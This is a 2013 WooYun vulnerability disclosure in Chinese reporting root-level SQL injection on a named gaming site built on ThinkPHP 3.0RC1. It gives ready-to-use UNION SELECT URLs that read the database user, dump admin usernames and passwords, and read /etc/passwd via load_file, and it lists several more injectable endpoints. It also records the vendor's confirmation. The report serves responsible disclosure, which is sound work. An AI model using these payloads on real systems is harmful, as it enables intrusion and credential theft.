漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2013-10-09： 细节已通知厂商并且等待厂商处理中
2013-10-10： 厂商已经确认，细节仅向厂商公开
2013-10-20： 细节向核心白帽子及相关领域专家公开
2013-10-30： 细节向普通白帽子公开
2013-11-09： 细节向实习白帽子公开
2013-11-23： 细节向公众公开
简要描述：
爱丽旗下某站Root权限注入
详细说明：
http://www.6173.com/
全站采用ThinkPHP 3.0RC1
注入点：
http://www.6173.com/index.php?s=/Index/artice/id/293
root权限：
http://www.6173.com/index.php?s=/Index/artice/id/293 and 1=2 union select 1,2,user(),4,5,6,7
爆数据：
http://www.6173.com/index.php?s=/Index/artice/id/293 and 1=2 union select 1,2,username,password,5,6,7 from 6173_admin
任意读文件：
http://www.6173.com/index.php?s=/Index/artice/id/293 and 1=2 union select 1,2,load_file(0x2F6574632F706173737764),4,5,6,7
尝试写webshell可是没成功 无论是手工还是用sqlmap都不行就作罢了
全站还有很多注入的地方 帮你们找了几个 具体详细的自己扫吧
http://www.6173.com/index.php?s=/game/choose/game_id/116
http://www.6173.com/index.php?s=/Customercenter/Jumptose_submit/questionid/1
http://www.6173.com/index.php?s=/Novice/noviceserver/game_id/115/leixing/1
漏洞证明：
↑
修复方案：
本来28号放假就找到的几个洞 想想准备要十一放假了 免得你们要加班什么的 所以现在提交、
版权声明：转载请注明来源 Hancock@乌云
>
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2013-10-10 09:45
厂商回复：
@Hancock 万分感谢善解人意的洞主 如果可能的话 俺们还是希望能在第一时间得知漏洞并修复 ~~~~
最新状态：
暂无